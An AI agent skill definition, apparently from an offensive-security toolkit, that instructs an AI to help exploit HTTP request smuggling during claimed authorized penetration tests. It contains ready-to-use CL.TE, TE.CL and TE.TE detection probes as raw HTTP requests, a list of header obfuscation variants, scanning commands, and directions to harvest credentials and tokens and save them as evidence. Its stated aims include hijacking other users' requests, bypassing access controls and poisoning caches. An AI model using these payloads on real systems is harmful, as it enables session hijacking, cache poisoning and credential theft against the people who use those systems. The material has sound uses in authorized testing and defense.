/request-smuggling

name: request-smuggling
description: >
  Guide HTTP request smuggling exploitation during authorized penetration
  testing.
keywords:
  - request smuggling
  - HTTP desync
  - CL.TE
  - TE.CL
  - H2 smuggling
  - h2c smuggling
  - transfer-encoding chunked
  - content-length desync
  - HTTP/2 downgrade
  - response desync
  - connection state attack
  - hop-by-hop
  - HTTP pipeline
  - websocket smuggling
tools:
  - burpsuite (HTTP Request Smuggler extension)
  - smuggler.py
  - smuggleFuzz
  - h2csmuggler
opsec: medium

HTTP Request Smuggling

You are helping a penetration tester exploit HTTP request smuggling vulnerabilities. The target has a front-end server (reverse proxy, CDN, load balancer) and a back-end server that disagree on where one HTTP request ends and the next begins. The goal is to desynchronize the request pipeline to hijack other users' requests, bypass access controls, or poison caches. All testing is under explicit written authorization.

Engagement Logging

Check for `./engagement/` directory. If absent, proceed without logging.

When an engagement directory exists:

• Print `[request-smuggling] Activated → <target>` to the screen on activation.
• **Evidence** → save significant output to `engagement/evidence/` with

descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).

State Management

Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:

• Skip re-testing targets, parameters, or vulns already confirmed
• Leverage existing credentials or access for this technique
• Understand what's been tried and failed (check Blocked section)

Your return summary must include:

• New targets/hosts discovered (with ports and services)
• New credentials or tokens found
• Access gained or changed (user, privilege level, method)
• Vulnerabilities confirmed (with status and severity)
• Pivot paths identified (what leads where)
• Blocked items (what failed and why, whether retryable)

Prerequisites

• Target behind a reverse proxy, CDN, or load balancer (multi-tier architecture)
• Burp Suite with HTTP Request Smuggler extension (or manual testing)
• HTTP connection reuse enabled on the front-end (keep-alive / HTTP/2)
• `smuggler.py` (`pip install smuggler`) or smuggleFuzz for automated scanning

Step 1: Assess

If not already provided, determine: 1. **Architecture** — identify front-end (CDN, WAF, reverse proxy) and back-end

• Check `Server`, `Via`, `X-Powered-By`, `X-Cache` headers
• Known stacks: Cloudflare→Nginx, AWS ALB→Apache, HAProxy→Node, Akamai→IIS

2. **HTTP version** — HTTP/1.1, HTTP/2, or mixed (front-end H2, back-end H1) 3. **Connection behavior** — does the front-end reuse back-end connections?

• Send two requests on the same TCP connection with different paths
• If both succeed without reconnecting, connection reuse is active

4. **Transfer-Encoding support** — does the target accept chunked encoding?

# Detect front-end/back-end via headers
curl -sI https://TARGET/ | grep -iE 'server|via|x-powered|x-cache|x-forwarded'

# Check HTTP/2 support
curl -sI --http2 https://TARGET/ -o /dev/null -w '%{http_version}\n'

# smuggler.py — automated detection
python3 -m smuggler -u https://TARGET/

Step 2: Detect — CL.TE

The front-end uses Content-Length, the back-end uses Transfer-Encoding.

Detection Probe

Send a request where CL includes the full body but TE terminates early. If the back-end uses TE, it processes only the chunk and the remainder poisons the next request in the pipeline.

POST / HTTP/1.1
Host: TARGET
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked

0

G

• **Front-end** reads 6 bytes (`0\r\n\r\nG`) per Content-Length, forwards all
• **Back-end** reads chunked: chunk size `0` = end, leaves `G` in buffer
• Next request from the pipeline starts with `G` → back-end returns 405 or

"Unrecognized method GPOST"

**Confirmation**: If the second request (from you or another user on the same connection) gets a 405 or unexpected error, CL.TE desync is confirmed.

Timing-Based Detection

POST / HTTP/1.1
Host: TARGET
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

1
Z
Q

• If CL.TE: front-end reads 4 bytes, back-end reads TE and waits for final

`0\r\n\r\n` (back-end hangs waiting for end of chunked body)

Step 3: Detect — TE.CL

The front-end uses Transfer-Encoding, the back-end uses Content-Length.

Detection Probe

POST / HTTP/1.1
Host: TARGET
Content-Type: application/x-www-form-urlencoded
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0

• **Front-end** reads chunked: chunk `8` bytes → `SMUGGLED`, then `0` → end
• **Back-end** reads CL=3 bytes (`8\r\n`), leaves `SMUGGLED\r\n0\r\n\r\n` in buffer

**Important**: In Burp Repeater, disable "Update Content-Length". The trailing blank line after `0` must include `\r\n\r\n`.

Timing-Based Detection

POST / HTTP/1.1
Host: TARGET
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked

0

X

• If TE.CL: front-end reads TE (ends at `0`), back-end reads CL=6 and waits

for more data

Step 4: Detect — TE.TE (Obfuscation)

Both servers support Transfer-Encoding, but one can be tricked into ignoring it through header obfuscation. This degrades to either CL.TE or TE.CL.

Obfuscation Variants

Try each — one may cause a server to fall back to Content-Length:

Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
 Transfer-Encoding: chunked
X: X\nTransfer-Encoding: chunked
Transfer-Encoding
 : chunked
Transfer-Encoding: chunk
Transfer-Encoding: chunKed

Test each obfuscation with the CL.TE and TE.CL detection probes from Steps 2-3. When one pair triggers a desync, you've identified which server ignores the obfuscated TE header.